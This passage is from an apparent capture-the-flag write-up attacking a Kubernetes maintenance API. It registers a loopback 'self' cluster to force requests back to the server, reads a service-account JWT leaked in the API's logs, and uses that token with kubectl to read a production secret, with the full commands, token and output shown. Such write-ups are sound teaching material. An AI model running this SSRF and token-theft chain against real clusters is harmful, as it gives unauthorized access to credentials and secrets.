</span></span><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;default&#34;</span>: <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;name&#34;</span>: <span style="color:#a6d189">&#34;default&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;fqdn&#34;</span>: <span style="color:#a6d189">&#34;https://10.96.0.1:443&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;ca_cert&#34;</span>: <span style="color:#a6d189">&#34;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJYThLWUhaSTYzdGN3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBMk1qUXhOVFEyTWpCYUZ3MHpOVEEyTWpJeE5UVXhNakJhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUURucGQ3UEUveFZOUGcvdFVHdEM4elhMMkZhK0cveEZIUXgyY0VFcFZtQjdHc3ZFTUJxNVJFYjRBSFcKTVMvcUxMUXZBUEluOUZHOEZzeDNpeWMyZkYwYVp4VDRvL0UzY05Vak1KMVI2alFDL2VjbFdwai9xU2VUSGVqQQp0SHUvOUdjVEczTGNZRkhJMWtmL1ZCZkxia0Y3Z2RtSmhxY3dnQk1obWpOUW1BaDh4UXdWczdtWHVEZFAxemhWCnF5OWlIWEpIZlhtakkyNkFubTRhcGJhSGZTd0tnNFZyMjQrcXpxazRkMis1REEzVndCcitiWnNQWW82dG9OTEMKUmVHNFB5ekE2emZ4S3dURFdiTi9iVmoyY3BJalUxazFoZnhMTmpIUmk0aS84Wld5ZSt5NVdzeisyOXJCWG4wdApkaW9DRWw2V2VPOUxiSHExbnRyMXRwZzJwdmpkQWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJUOHVuOXR5QUp5eW1nRk1MdTZtbGtnSVVCTEtEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ21qVFRxZHp6dgppdEpJaG55VmFuZnVvQlNSTjRDMVNwQUVmdytBVmZtMFd3TThOMW8xVlUvUkxlbnI4M2JLQm1pZ2FVbENEdis5CkhES1A5UURaZFNKYW9oVzV0Tk5FVVdUL1BNSnRUSDByQzh0VGwrdlNWVHMvaW5HMFdJaitHa0RCUWxYOGlHZ3UKSVlKb3FUYXljdWl3S29RK0laemFnTTdKZGpOS3haUWJ4cFA1TjU0UlNrQWNyNHVrc0NJVHo3bFlrM2FGZHU1RgpXU0NkRWR3bmQrMmJQZjh1SU9QT3MxM0xBbGtoQnVUaXVaWDJSWDlaK2w0U0UvV0V2Z0YvbGVFbnRQSityNk9wCnZuTmxndHNyTnNCOVZqY0dIVForYmZQRWFTWE5zMHNCaThIbXAzSDlKY2JDZ2JSemlMd2pKRXp1VWFqM0ttalYKaGpJcnAvN3QwYzVlCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">}</span>
</span></span><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">}</span>
</span></span></code></pre></div><ul>
<li><code>ca_cert</code> is probably saving the Kubernetes CA encoded in base64</li>
<li>let&rsquo;s check the logs</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl https://api.cluster-maintenance/logs -k
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Server starting...
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Registering handler on /namespaces
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Registering handler on /pods
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Registering handler on /secrets
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Registering handler on /clusters
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Registering handler on /logs
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Starting HTTPs service on port <span style="color:#ef9f76">8443</span>
</span></span><span style="display:flex;"><span>2025/06/25 14:32:23 <span style="color:#99d1db;font-weight:bold">[</span>DEBUG<span style="color:#99d1db;font-weight:bold">]</span> <span style="color:#f2d5cf">method</span><span style="color:#99d1db;font-weight:bold">=</span>GET <span style="color:#f2d5cf">path</span><span style="color:#99d1db;font-weight:bold">=</span>/logs <span style="color:#f2d5cf">headers</span><span style="color:#99d1db;font-weight:bold">=[</span>User-Agent<span style="color:#99d1db;font-weight:bold">=</span>curl/8.7.1; <span style="color:#f2d5cf">Accept</span><span style="color:#99d1db;font-weight:bold">=</span>*/*<span style="color:#99d1db;font-weight:bold">]</span> <span style="color:#f2d5cf">body</span><span style="color:#99d1db;font-weight:bold">=</span>
</span></span></code></pre></div><ul>
<li>this seems to be logging the calls</li>
<li>let&rsquo;s do a call on a random path and check the logs</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl https://api.cluster-maintenance/asdasd -k
</span></span><span style="display:flex;"><span><span style="color:#ef9f76">404</span> page not found
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@jumphost:~# curl https://api.cluster-maintenance/logs -k
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Server starting...
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Registering handler on /namespaces
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Registering handler on /pods
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Registering handler on /secrets
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Registering handler on /clusters
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Registering handler on /logs
</span></span><span style="display:flex;"><span>2025/06/25 14:29:47 Starting HTTPs service on port <span style="color:#ef9f76">8443</span>
</span></span><span style="display:flex;"><span>2025/06/25 14:32:23 <span style="color:#99d1db;font-weight:bold">[</span>DEBUG<span style="color:#99d1db;font-weight:bold">]</span> <span style="color:#f2d5cf">method</span><span style="color:#99d1db;font-weight:bold">=</span>GET <span style="color:#f2d5cf">path</span><span style="color:#99d1db;font-weight:bold">=</span>/logs <span style="color:#f2d5cf">headers</span><span style="color:#99d1db;font-weight:bold">=[</span>User-Agent<span style="color:#99d1db;font-weight:bold">=</span>curl/8.7.1; <span style="color:#f2d5cf">Accept</span><span style="color:#99d1db;font-weight:bold">=</span>*/*<span style="color:#99d1db;font-weight:bold">]</span> <span style="color:#f2d5cf">body</span><span style="color:#99d1db;font-weight:bold">=</span>
</span></span><span style="display:flex;"><span>2025/06/25 14:33:21 <span style="color:#99d1db;font-weight:bold">[</span>DEBUG<span style="color:#99d1db;font-weight:bold">]</span> <span style="color:#f2d5cf">method</span><span style="color:#99d1db;font-weight:bold">=</span>GET <span style="color:#f2d5cf">path</span><span style="color:#99d1db;font-weight:bold">=</span>/asdasd <span style="color:#f2d5cf">headers</span><span style="color:#99d1db;font-weight:bold">=[</span>User-Agent<span style="color:#99d1db;font-weight:bold">=</span>curl/8.7.1; <span style="color:#f2d5cf">Accept</span><span style="color:#99d1db;font-weight:bold">=</span>*/*<span style="color:#99d1db;font-weight:bold">]</span> <span style="color:#f2d5cf">body</span><span style="color:#99d1db;font-weight:bold">=</span>
</span></span></code></pre></div><ul>
<li>this seems to be logging all the calls, regardless of the path</li>
<li>let&rsquo;s create a new target, <code>self</code>, that is going to make the API to connect to itself</li>
<li>let&rsquo;s see the details of the API certificate</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# openssl s_client -showcerts -servername api.cluster-maintenance -connect api.cluster-maintenance:443 &lt; /dev/null | openssl x509 -text -noout
</span></span><span style="display:flex;"><span>            X509v3 Subject Alternative Name: 
</span></span><span style="display:flex;"><span>                DNS:api.cluster-maintenance, DNS:api.cluster-maintenance.svc, DNS:api.cluster-maintenance.svc.cluster, DNS:api.cluster-maintenance.svc.cluster.local, IP Address:127.0.0.1
</span></span></code></pre></div><ul>
<li>we can use the IP address, if accepted by the API</li>
<li>first, let&rsquo;s fetch the CA and base64 encode it</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# <span style="color:#99d1db">export</span> <span style="color:#f2d5cf">CA_CERT</span><span style="color:#99d1db;font-weight:bold">=</span><span style="color:#ca9ee6">$(</span>openssl s_client -showcerts -connect api.cluster-maintenance:443 &lt;/dev/null 2&gt;/dev/null | openssl x509 -outform PEM | base64 -w0<span style="color:#ca9ee6">)</span>
</span></span></code></pre></div><ul>
<li>now create the cluster configuration</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl -k -v -X POST https://api.cluster-maintenance/clusters -H <span style="color:#a6d189">&#34;Content-Type: application/json&#34;</span> -d <span style="color:#a6d189">&#34;{\&#34;name\&#34;: \&#34;self\&#34;, \&#34;fqdn\&#34;: \&#34;https://127.0.0.1:8443\&#34;, \&#34;ca_cert\&#34;: \&#34;</span><span style="color:#f2d5cf">$CA_CERT</span><span style="color:#a6d189">\&#34;}&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">{</span><span style="color:#a6d189">&#34;name&#34;</span>:<span style="color:#a6d189">&#34;self&#34;</span>,<span style="color:#a6d189">&#34;status&#34;</span>:<span style="color:#a6d189">&#34;saved&#34;</span><span style="color:#99d1db;font-weight:bold">}</span>
</span></span></code></pre></div><ul>
<li>check the config</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl -k https://api.cluster-maintenance/clusters -s | jq
</span></span><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;default&#34;</span>: <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;name&#34;</span>: <span style="color:#a6d189">&#34;default&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;fqdn&#34;</span>: <span style="color:#a6d189">&#34;https://10.96.0.1:443&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;ca_cert&#34;</span>: <span style="color:#a6d189">&#34;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURCVENDQWUyZ0F3SUJBZ0lJYThLWUhaSTYzdGN3RFFZSktvWklodmNOQVFFTEJRQXdGVEVUTUJFR0ExVUUKQXhNS2EzVmlaWEp1WlhSbGN6QWVGdzB5TlRBMk1qUXhOVFEyTWpCYUZ3MHpOVEEyTWpJeE5UVXhNakJhTUJVeApFekFSQmdOVkJBTVRDbXQxWW1WeWJtVjBaWE13Z2dFaU1BMEdDU3FHU0liM0RRRUJBUVVBQTRJQkR3QXdnZ0VLCkFvSUJBUURucGQ3UEUveFZOUGcvdFVHdEM4elhMMkZhK0cveEZIUXgyY0VFcFZtQjdHc3ZFTUJxNVJFYjRBSFcKTVMvcUxMUXZBUEluOUZHOEZzeDNpeWMyZkYwYVp4VDRvL0UzY05Vak1KMVI2alFDL2VjbFdwai9xU2VUSGVqQQp0SHUvOUdjVEczTGNZRkhJMWtmL1ZCZkxia0Y3Z2RtSmhxY3dnQk1obWpOUW1BaDh4UXdWczdtWHVEZFAxemhWCnF5OWlIWEpIZlhtakkyNkFubTRhcGJhSGZTd0tnNFZyMjQrcXpxazRkMis1REEzVndCcitiWnNQWW82dG9OTEMKUmVHNFB5ekE2emZ4S3dURFdiTi9iVmoyY3BJalUxazFoZnhMTmpIUmk0aS84Wld5ZSt5NVdzeisyOXJCWG4wdApkaW9DRWw2V2VPOUxiSHExbnRyMXRwZzJwdmpkQWdNQkFBR2pXVEJYTUE0R0ExVWREd0VCL3dRRUF3SUNwREFQCkJnTlZIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJUOHVuOXR5QUp5eW1nRk1MdTZtbGtnSVVCTEtEQVYKQmdOVkhSRUVEakFNZ2dwcmRXSmxjbTVsZEdWek1BMEdDU3FHU0liM0RRRUJDd1VBQTRJQkFRQ21qVFRxZHp6dgppdEpJaG55VmFuZnVvQlNSTjRDMVNwQUVmdytBVmZtMFd3TThOMW8xVlUvUkxlbnI4M2JLQm1pZ2FVbENEdis5CkhES1A5UURaZFNKYW9oVzV0Tk5FVVdUL1BNSnRUSDByQzh0VGwrdlNWVHMvaW5HMFdJaitHa0RCUWxYOGlHZ3UKSVlKb3FUYXljdWl3S29RK0laemFnTTdKZGpOS3haUWJ4cFA1TjU0UlNrQWNyNHVrc0NJVHo3bFlrM2FGZHU1RgpXU0NkRWR3bmQrMmJQZjh1SU9QT3MxM0xBbGtoQnVUaXVaWDJSWDlaK2w0U0UvV0V2Z0YvbGVFbnRQSityNk9wCnZuTmxndHNyTnNCOVZqY0dIVForYmZQRWFTWE5zMHNCaThIbXAzSDlKY2JDZ2JSemlMd2pKRXp1VWFqM0ttalYKaGpJcnAvN3QwYzVlCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0K&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">}</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#a6d189">&#34;self&#34;</span>: <span style="color:#99d1db;font-weight:bold">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;name&#34;</span>: <span style="color:#a6d189">&#34;self&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;fqdn&#34;</span>: <span style="color:#a6d189">&#34;https://127.0.0.1:8443&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#a6d189">&#34;ca_cert&#34;</span>: <span style="color:#a6d189">&#34;LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUR1ekNDQXFPZ0F3SUJBZ0lJSTJZTlBGalBCaUl3RFFZSktvWklodmNOQVFFTEJRQXdOREVRTUE0R0ExVUUKQ2hNSFMzVmlaWE5wYlRFZ01CNEdBMVVFQXhNWFlYQnBMbU5zZFhOMFpYSXRiV0ZwYm5SbGJtRnVZMlV3SGhjTgpNalV3TmpJMU1UUXlPVFEzV2hjTk1qWXdOakkxTVRReU9UUTNXakEwTVJBd0RnWURWUVFLRXdkTGRXSmxjMmx0Ck1TQXdIZ1lEVlFRREV4ZGhjR2t1WTJ4MWMzUmxjaTF0WVdsdWRHVnVZVzVqWlRDQ0FTSXdEUVlKS29aSWh2Y04KQVFFQkJRQURnZ0VQQURDQ0FRb0NnZ0VCQU5sbWRSaEQxQ3JCTDBPVUlyQS9aSFdmL1BhZEpCVXRZazZDcjZQYQpGUVBQWkZsT2Njak5ORUx4VjFvUVpoWWtKTm5XR3VvS29XNFgwb1dVdWNiTk04VGRKb3N4Nm5vNGVraW9zdWxoCnJ4NVUySWhPVUZmdXBnRFJ3ZVZzYzVTOGUxZTVMaVZWUWJYSGd1UllIOEgycTlWa1F2dUI4cGNFYk10RGJxYW0KZVJZNjd1ZGNpSVZJS0szMkYydmJXV2VObG0wMTRzS2Vvd0drUVBwdGpzZmdxclhnWHp5NzV5U2NqRDQ1Z0J0ZgpOSmVFUnZHWWtkdHV5bU8wRWp0ZEM5bjhFcmFaRDdOT0dYblFzdHdGRHlMOEh3RnZVTHJzZ3hpRVh3M0pDN3FzCk9SVHJGNWNmTHBlS25nczZZYm1GcThlYUM3dWQ1bmdYYXEycTFWMHUxeWVaUS9FQ0F3RUFBYU9CMERDQnpUQU8KQmdOVkhROEJBZjhFQkFNQ0JhQXdFd1lEVlIwbEJBd3dDZ1lJS3dZQkJRVUhBd0V3REFZRFZSMFRBUUgvQkFJdwpBRENCbHdZRFZSMFJCSUdQTUlHTWdoZGhjR2t1WTJ4MWMzUmxjaTF0WVdsdWRHVnVZVzVqWllJYllYQnBMbU5zCmRYTjBaWEl0YldGcGJuUmxibUZ1WTJVdWMzWmpnaU5oY0drdVkyeDFjM1JsY2kxdFlXbHVkR1Z1WVc1alpTNXoKZG1NdVkyeDFjM1JsY29JcFlYQnBMbU5zZFhOMFpYSXRiV0ZwYm5SbGJtRnVZMlV1YzNaakxtTnNkWE4wWlhJdQpiRzlqWVd5SEJIOEFBQUV3RFFZSktvWklodmNOQVFFTEJRQURnZ0VCQUs3WVpQV0ZqeVhIM1IzTEduMXBzd2E0CkpxRnZZY3Y0cDhQYVBGOXZQU0VpdnlRSHdjNHJ5b1BLaFBPcXpBYW5qNFQxVkJOQUNKODhCWXlyeGh4QS9NWDEKNG5GQ2VlNnNkQVROaDEyMVNHT2xETkdyNG0vVlpOck1xMHZkdHM4Nks5RVh4TG1RUS9ObklkTXI1QkpMUzMveApNbTVYVkk0ZTJQazNIb3luVEJhNkxGVE41T2IxTVlNMmtsd2hzaEM4Qlg5Q0R6TFZQL3RmNXJ2b1VXV3kxMmZ2CnZlNDYxaGJkN3pCSmlEbXhPcTFnTjZZUW5OTW5LUXdHK3N3b3JtbERiVGdZQVdaaUJqZ2VZN3VaWjN2N0dUdk0KVk96QkNFK3RUNWtZZkQrUDJmSHBuWVgyMTZaVHRCdFNMdjFiV2RpTnEvQVdWdGhyTkFXdDlLR3h6L0RVTGxzPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==&#34;</span>
</span></span><span style="display:flex;"><span>  <span style="color:#99d1db;font-weight:bold">}</span>
</span></span><span style="display:flex;"><span><span style="color:#99d1db;font-weight:bold">}</span>
</span></span></code></pre></div><ul>
<li>let&rsquo;s fetch the secrets</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl -k https://api.cluster-maintenance/secrets?cluster<span style="color:#99d1db;font-weight:bold">=</span>self -s     
</span></span><span style="display:flex;"><span>error getting secrets: the server could not find the requested resource <span style="color:#99d1db;font-weight:bold">(</span>get secrets<span style="color:#99d1db;font-weight:bold">)</span>
</span></span></code></pre></div><ul>
<li>check the logs</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# curl -k https://api.cluster-maintenance/logs 
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>2025/06/25 14:56:32 <span style="color:#99d1db;font-weight:bold">[</span>DEBUG<span style="color:#99d1db;font-weight:bold">]</span> <span style="color:#f2d5cf">method</span><span style="color:#99d1db;font-weight:bold">=</span>GET <span style="color:#f2d5cf">path</span><span style="color:#99d1db;font-weight:bold">=</span>/api/v1/namespaces/production/secrets <span style="color:#f2d5cf">headers</span><span style="color:#99d1db;font-weight:bold">=[</span>User-Agent<span style="color:#99d1db;font-weight:bold">=</span>server/v0.0.0 <span style="color:#99d1db;font-weight:bold">(</span>linux/amd64<span style="color:#99d1db;font-weight:bold">)</span> kubernetes/<span style="color:#f2d5cf">$Format</span>; <span style="color:#f2d5cf">Authorization</span><span style="color:#99d1db;font-weight:bold">=</span>Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Il9kNHNaSGNVeFdnZFJVTVZ0RjUtOVEzZjBqeXUybUFGby1pY1R5dTk2bmcifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzgyMzk3NzgyLCJpYXQiOjE3NTA4NjE3ODIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiMmMxZTAwOGItMjM3ZC00NDM3LWIwMGYtNGY3ZTY3OWI1ODQ3Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjbHVzdGVyLW1haW50ZW5hbmNlIiwibm9kZSI6eyJuYW1lIjoibm9kZS0xIiwidWlkIjoiZjQ2NDUxNjMtZjUwMS00MTUzLTk4NDctNzJiZjFjNWZmZWFjIn0sInBvZCI6eyJuYW1lIjoiY2x1c3Rlci1tYWludGVuYW5jZS1jOGZjYmQ4LXBzcnpjIiwidWlkIjoiYTliNDZlYWYtZDFjOS00NDUzLWI0NTEtYzBlNTE2MTYwYzQ2In0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJjbHVzdGVyLW1haW50ZW5hbmNlIiwidWlkIjoiNDU3NzE3NjYtNmU4Yi00NmJiLWIyYzEtODMyOTY5Zjk3MjUyIn0sIndhcm5hZnRlciI6MTc1MDg2NTM4OX0sIm5iZiI6MTc1MDg2MTc4Miwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNsdXN0ZXItbWFpbnRlbmFuY2U6Y2x1c3Rlci1tYWludGVuYW5jZSJ9.Am4Bs6-nCpOmhRO59KJKFgY2TSPyAxuYylbLIxJajH_JBXLKEoklZjA9glhdJHkS7OOE7OtOn7JUYNFIpXOwoA9gUXRoHKwnHVzNxPeGexKJ92KRS2QWyL3yoiOwrcrZ6rmRZgnTwj39dQ0RJWkt1esZqyF5yAjrJ9ljFdmuSeUBuyHv0frpJUMyRZT6slsF96sSVzMmZEmB6Qnh6OnyXhe5Oo4oFSwB2tFGA1YQkFEfJT3iCIJ0CdIzJ2bXUQJw6DGN_i6ZDZ4khLs4XFUYz4xH2u7yfrq7M5P8TOr8c5rchIo5BGPk1bip6Ro4BpJCjo6z5u8dZSX0Gay0PWpGDQ; Accept-Encoding<span style="color:#99d1db;font-weight:bold">=</span>gzip; <span style="color:#f2d5cf">Accept</span><span style="color:#99d1db;font-weight:bold">=</span>application/vnd.kubernetes.protobuf,application/json<span style="color:#99d1db;font-weight:bold">]</span> <span style="color:#f2d5cf">body</span><span style="color:#99d1db;font-weight:bold">=</span>
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><ul>
<li>export token</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# <span style="color:#99d1db">export</span> <span style="color:#f2d5cf">TOKEN</span><span style="color:#99d1db;font-weight:bold">=</span>eyJhbGciOiJSUzI1NiIsImtpZCI6Il9kNHNaSGNVeFdnZFJVTVZ0RjUtOVEzZjBqeXUybUFGby1pY1R5dTk2bmcifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNzgyMzk3NzgyLCJpYXQiOjE3NTA4NjE3ODIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwianRpIjoiMmMxZTAwOGItMjM3ZC00NDM3LWIwMGYtNGY3ZTY3OWI1ODQ3Iiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJjbHVzdGVyLW1haW50ZW5hbmNlIiwibm9kZSI6eyJuYW1lIjoibm9kZS0xIiwidWlkIjoiZjQ2NDUxNjMtZjUwMS00MTUzLTk4NDctNzJiZjFjNWZmZWFjIn0sInBvZCI6eyJuYW1lIjoiY2x1c3Rlci1tYWludGVuYW5jZS1jOGZjYmQ4LXBzcnpjIiwidWlkIjoiYTliNDZlYWYtZDFjOS00NDUzLWI0NTEtYzBlNTE2MTYwYzQ2In0sInNlcnZpY2VhY2NvdW50Ijp7Im5hbWUiOiJjbHVzdGVyLW1haW50ZW5hbmNlIiwidWlkIjoiNDU3NzE3NjYtNmU4Yi00NmJiLWIyYzEtODMyOTY5Zjk3MjUyIn0sIndhcm5hZnRlciI6MTc1MDg2NTM4OX0sIm5iZiI6MTc1MDg2MTc4Miwic3ViIjoic3lzdGVtOnNlcnZpY2VhY2NvdW50OmNsdXN0ZXItbWFpbnRlbmFuY2U6Y2x1c3Rlci1tYWludGVuYW5jZSJ9.Am4Bs6-nCpOmhRO59KJKFgY2TSPyAxuYylbLIxJajH_JBXLKEoklZjA9glhdJHkS7OOE7OtOn7JUYNFIpXOwoA9gUXRoHKwnHVzNxPeGexKJ92KRS2QWyL3yoiOwrcrZ6rmRZgnTwj39dQ0RJWkt1esZqyF5yAjrJ9ljFdmuSeUBuyHv0frpJUMyRZT6slsF96sSVzMmZEmB6Qnh6OnyXhe5Oo4oFSwB2tFGA1YQkFEfJT3iCIJ0CdIzJ2bXUQJw6DGN_i6ZDZ4khLs4XFUYz4xH2u7yfrq7M5P8TOr8c5rchIo5BGPk1bip6Ro4BpJCjo6z5u8dZSX0Gay0PWpGDQ
</span></span></code></pre></div><ul>
<li>specify token to fetch secrets</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# kubectl get secrets am-i-supposed-to-read-this -n production -o go-template<span style="color:#99d1db;font-weight:bold">=</span><span style="color:#a6d189">&#39;{{.data.flag | base64decode}}&#39;</span> --token<span style="color:#99d1db;font-weight:bold">=</span><span style="color:#f2d5cf">$TOKEN</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag_ctf<span style="color:#99d1db;font-weight:bold">{</span>jwt_should_not_be_logged<span style="color:#99d1db;font-weight:bold">}</span>
</span></span></code></pre></div><h2 id="flag-2-2">Flag 2</h2>
<ul>
<li>understand what this jwt can do in the production namespace</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#c6d0f5;background-color:#303446;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>root@jumphost:~# kubectl auth can-i --list -n production --token<span style="color:#99d1db;font-weight:bold">=</span><span style="color:#f2d5cf">$TOKEN</span>        
</span></span><span style="display:flex;"><span>Resources                                       Non-Resource URLs                      Resource Names   Verbs
</span></span><span style="display:flex;"><span>selfsubjectreviews.authentication.k8s.io        <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>create<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>selfsubjectaccessreviews.authorization.k8s.io   <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>create<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>selfsubjectrulesreviews.authorization.k8s.io    <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>create<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>pods/log                                        <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get list watch<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>services                                        <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get watch list create<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>namespaces                                      <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get watch list<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>pods                                            <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get watch list<span style="color:#99d1db;font-weight:bold">]</span>
</span></span><span style="display:flex;"><span>secrets                                         <span style="color:#99d1db;font-weight:bold">[]</span>                                     <span style="color:#99d1db;font-weight:bold">[]</span>               <span style="color:#99d1db;font-weight:bold">[</span>get watch list<span style="color:#99d1db;font-weight:bold">]</span>
